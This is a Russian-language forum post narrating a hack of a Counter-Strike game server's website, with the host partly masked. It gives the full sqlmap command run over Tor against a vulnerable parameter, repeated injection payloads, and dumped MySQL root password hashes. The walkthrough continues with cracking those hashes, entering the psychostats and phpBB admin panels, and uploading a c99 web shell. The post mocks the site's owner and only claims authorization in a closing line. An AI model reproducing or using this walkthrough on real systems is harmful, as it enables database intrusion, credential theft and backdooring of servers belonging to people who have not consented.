Продолжаем тему "взломов по айпи".
Есть некий сервер контерстрайщиков -) Админ считает себя крутым геймером и бубунтоидом (смех в зале =))).
Замутил сервак на бубунте и думает - меня никто не взломает.
По адресу
http://xx.xxx.info расположен собственно сайт статистики
cпойлер
===
Есть форум
cпойлер
--
Проверка ресурса
http://xx.xxx.info сканером Acunetix показала, что параметр filtrdb в файле /myacscreen/index.php является уязвимым. Что такое
SQLi многие знают. Гуру инжекта этот пост не заинтересует, а для хуюзеров будет интересно.
++
Ну что же, пригласим sqlmap на нелегкую работу...
Делаем запрос к сайту следующим образом...
$ python sqlmap.py -u "http://xx.xxx.info/myacscreen/index.phpfiltrdb='" --random-agent --tor -f --banner --current-user --passwords --tables --exclude-sysdbs
В результате работы получаем текущего юзера, под которым работает база MySQL, не удивляемся что это даже root, и его хэшированный пароль -))
cпойлерsqlmap identified the following injection points with a total of 68 HTTP(s) requests:
---
Place: GET
Parameter: filtrdb
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: filtrdb=' AND (SELECT 7355 FROM(SELECT COUNT(*),CONCAT(0x717a796771,(SELECT (CASE WHEN (7355=7355) THEN 1 ELSE 0 END)),0x716d6d6e71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- YLUE
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: filtrdb=' AND SLEEP(5)-- FnYg
---
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.4.6
back-end DBMS: MySQL 5.0
available databases [12]:
[*] bans
[*] forumlinexp
[*] gagged
[*] hlstatsx
[*] information_schema
[*] mysql
[*] papuas
[*] performance_schema
[*] phpmyadmin
[*] psychostat
[*] smskey
[*] test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: filtrdb
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: filtrdb=' AND (SELECT 7355 FROM(SELECT COUNT(*),CONCAT(0x717a796771,(SELECT (CASE WHEN (7355=7355) THEN 1 ELSE 0 END)),0x716d6d6e71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- YLUE
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: filtrdb=' AND SLEEP(5)-- FnYg
---
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.4.6
back-end DBMS: MySQL 5.0
Database: phpmyadmin
[7 tables]
+------------------+
| pma_bookmark |
| pma_column_info |
| pma_history |
| pma_pdf_pages |
| pma_relation |
| pma_table_coords |
| pma_table_info |
+------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: filtrdb
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: filtrdb=' AND (SELECT 7355 FROM(SELECT COUNT(*),CONCAT(0x717a796771,(SELECT (CASE WHEN (7355=7355) THEN 1 ELSE 0 END)),0x716d6d6e71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- YLUE
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: filtrdb=' AND SLEEP(5)-- FnYg
---
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.4.6
back-end DBMS: MySQL 5.0
No tables found
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: filtrdb
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: filtrdb=' AND (SELECT 7355 FROM(SELECT COUNT(*),CONCAT(0x717a796771,(SELECT (CASE WHEN (7355=7355) THEN 1 ELSE 0 END)),0x716d6d6e71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- YLUE
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: filtrdb=' AND SLEEP(5)-- FnYg
---
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.4.6
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: filtrdb
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: filtrdb=' AND (SELECT 7355 FROM(SELECT COUNT(*),CONCAT(0x717a796771,(SELECT (CASE WHEN (7355=7355) THEN 1 ELSE 0 END)),0x716d6d6e71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- YLUE
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: filtrdb=' AND SLEEP(5)-- FnYg
---
web server operating system: Linux Ubuntu 12.04 (Precise Pangolin)
web application technology: Apache 2.2.22, PHP 5.4.6
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: active fingerprint: MySQL >= 5.5.0
banner parsing fingerprint: MySQL 5.5.31
banner: '5.5.31-0ubuntu0.12.10.1'
current user: 'root@localhost'
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: NULL
[*] root [3]:
password hash: *144C152330C7501A23A328E8762E8FDCEF4A946C
password hash: *40A4E98A996A326003A7B44A61358A5F67E4F2A1
password hash: *D8317F92ED37A910DDC6634FDD9821BDD590A192
[*] sms-platezhki [1]:
password hash: *AED9E546CC4CEBACBF259138B949A7F19D04E407
Также видим какие базы есть на этом сервере -)
+
Хэш пароля админа базы MySQL, отправим на расшифровку в cmd5.ru....
++++++++++++++++++++++++++++++++++++++++++++++++
Готово....
Ну что, пора заходить в админку -))
cпойлер
---
Все базы как на ладони -))
cпойлер
Посмотрим кто рулит админом в базе psychostats...
cпойлер
Ага! Некий MOLOT, крутой админ -))
Зайдем к нему в админку psychostats....
cпойлер
ОК! Мы уже можем тут крутить-вертеть -))
cпойлер
+++
Далее давайте посмотрим базу forumlinexp и хэш админа отправим на расшифровку....
cпойлер
.......................
ОК! Заходим в админку этого phpBB3 форума и в стилях заливаем шелл, типа с99...
cпойлер
Сам шелл...
cпойлер
=====
К сожалению, предыдущего перед крайним из скриншотов с реального сервера не сохранилось, поэтому взял картинку с нэта...Не пинайте ногами -) Тут главное методика и принцип.
=====
В итоге, получаем полный контроль над базой MySQL и можем делать с этим сайтом крутых геймеров CS всё что захочем -) Всё зависит от Вашей фантазии -)
===========================================================================
note: Взлом производился в рамках компании по проверке безопасности одного из городских провайдеров.
PS Спасибо за внимание.
PPS Замечания, предложения, срач